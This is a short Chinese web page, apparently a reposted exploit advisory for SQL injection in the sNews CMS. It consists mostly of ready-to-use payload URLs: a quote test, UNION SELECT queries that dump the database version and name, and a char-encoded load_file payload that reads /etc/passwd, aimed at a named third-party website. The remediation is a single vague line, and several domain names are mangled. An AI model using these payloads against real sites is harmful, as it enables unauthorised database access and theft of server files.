sNews sql注射缺陷及修复 - 网站安全 - 自学php

 

标题:sNews sql injection Vulnerabilities

作者: Angel Injection HdhCmsTest2cto测试数据

示例：

 

http://HdhCmsTest2cto测试数据 /[path]/index.php?id=8'

 

http://HdhCmsTest2cto测试数据 /path/index.php?id=-8+union+select+1,version(),database(),4,5,6,7,8,9,10,11

 

http://HdhCmsTestpcpirates.co.uk/ Site Pirates of the site Ukraine ^_^

 

http://HdhCmsTestpcpirates.co.uk/sNews/index.php?id=8+union+select+1,replace%28load_file%28char%2847,101,116,99,47,112,97,115,115,119,100%29%29,char%2860%29,char%2832%29%29,3,4,5,6,7,8,9,10,11

修复：

过滤相关页面

查看更多关于sNews sql注射缺陷及修复 - 网站安全 - 自学php的详细内容...